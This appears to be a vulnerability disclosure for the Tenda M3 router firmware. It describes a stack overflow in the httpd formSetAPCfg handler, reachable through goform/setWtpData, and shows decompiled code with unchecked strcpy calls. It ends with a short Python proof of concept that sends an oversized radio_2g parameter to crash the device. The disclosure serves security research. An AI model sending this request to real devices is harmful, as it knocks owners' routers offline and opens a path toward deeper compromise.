

main IoT-vuln / Tenda / M3 / formSetAPCfg /



d1tto add Tenda M3 ...

on May 27 History

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img

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readme.md

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readme.md

Overview

- The device's official website: <https://www.tenda.com.cn/product/M3.html>
- Firmware download website: <https://www.tenda.com.cn/download/detail-3133.html>

Affected version

V1.0.0.12(4856)

Vulnerability details

httpd in directory /bin has a stack overflow vulnerability. The vulnerability occurs in the formSetAPCfg function, which can be accessed via the URL goform/setWtpData .

```

135 s1 = (char *)websGetVar(a1, "op", "0");
136 v101 = websGetVar(a1, "macAddr", "0");
137 sub_53D2C(v101, &v31);
138 ptr = 0;
139 if ( !strcmp(s1, "bat") )
140 {
141     src = (char *)websGetVar(a1, "radio_2g_1", &unk_AA6AC);
142     v99 = (char *)websGetVar(a1, "radio_2g_2", &unk_AA6AC);
143     v98 = (char *)websGetVar(a1, "radio_2g_3", &unk_AA6AC);
144     v97 = (char *)websGetVar(a1, "radio_2g_4", &unk_AA6AC);
145     v96 = (char *)websGetVar(a1, "radio_2g_5", &unk_AA6AC);
146     v95 = (char *)websGetVar(a1, "radio_2g_6", &unk_AA6AC);
147     v94 = (char *)websGetVar(a1, "radio_2g_7", &unk_AA6AC);
148     v93 = (char *)websGetVar(a1, "radio_2g_8", &unk_AA6AC);
149     v92 = (char *)websGetVar(a1, "radio_5g_1", &unk_AA6AC);
150     v91 = (char *)websGetVar(a1, "radio_5g_2", &unk_AA6AC);
151     v90 = (char *)websGetVar(a1, "radio_5g_3", &unk_AA6AC);
152     v89 = (char *)websGetVar(a1, "radio_5g_4", &unk_AA6AC);
153     v88 = (char *)websGetVar(a1, "radio_2g", &unk_AA6AC);
154     v87 = (char *)websGetVar(a1, "radio_2g", &unk_AA6AC);
155     v86 = (char *)websGetVar(a1, "qvlanPolicy", &unk_AA6AC);
156     v85 = (char *)websGetVar(a1, "policy_type", "wl_basic_policy");
157     memset(v27, 0, sizeof(v27));
158     s = malloc(6 * v31 + 404);

```

When the POST parameter `op` equals "bat", the program will enter if branch at line 139. The program then gets the POST parameters `policy_type` and `radio_2g`.

```

166     if ( !strcmp(v85, "wl_basic_policy") )
167     {
168         v106[2] = 133;
169     }
170     else if ( !strcmp(v85, "qvlan_policy") )
171     {
172         v106[2] = 141;
173     }
174     else
175     {
176         v106[2] = 136;
177     }
178     *v106 = 0;
179     v106[3] = v31;
180     if ( v106[2] == 3 || v106[2] == 133 )
181     {
182         *((_DWORD *)v106 + 4) = 6 * v31 + 384;
183         strcpy(v27, src);
184         strcpy(&v27[32], v99);
185         strcpy(&v27[64], v98);
186         strcpy(&v27[96], v97);
187         strcpy(&v27[128], v96);
188         strcpy(&v27[160], v95);
189         strcpy(&v27[192], v94);
190         strcpy(&v27[224], v93);
191         strcpy(&v27[256], v92);
192         strcpy(&v27[288], v91);
193         strcpy(&v27[320], v90);
194         strcpy(&v27[352], v89);
195         dest = v106 + 10;
196         memcpy(v106 + 10, v32, 6 * v31);
197         memcpy((char *)dest + 6 * v31, v27, 0x180u);
198     }
199     else if ( v106[2] == 136 )
200     {
201         *((_DWORD *)v106 + 4) = 6 * v31 + 64;
202         strcpy(v28, v88);
203         strcpy(&v28[32], v87);
204         v84 = v106 + 10;
205         memcpy(v106 + 10, v32, 6 * v31);
206         memcpy((char *)v84 + 6 * v31, v28, 0x40u);
207     }

```

If policy_type is equal to wl_basic_policy , program will enter the if branch at line 180. There is a stack overflow in this if branch.

If policy_type is equal to neither wl_basic_policy nor qVLAN_policy , program will enter the if branch at line 199. There is also a stack overflow in this if branch.

PoC

Poc of Denial of Service(DoS)

```
import requests
```

```
data = {
    b"op": b"bat",
```

```
        b"policy_type": b"none",
        b"radio_2g": b"A"*0x400
    }
    cookies = {
        b"user": "admin"
    }
    res = requests.post("http://127.0.0.1/goform/setWtpData", data=data, cookies=cookies)
    print(res.content)
```

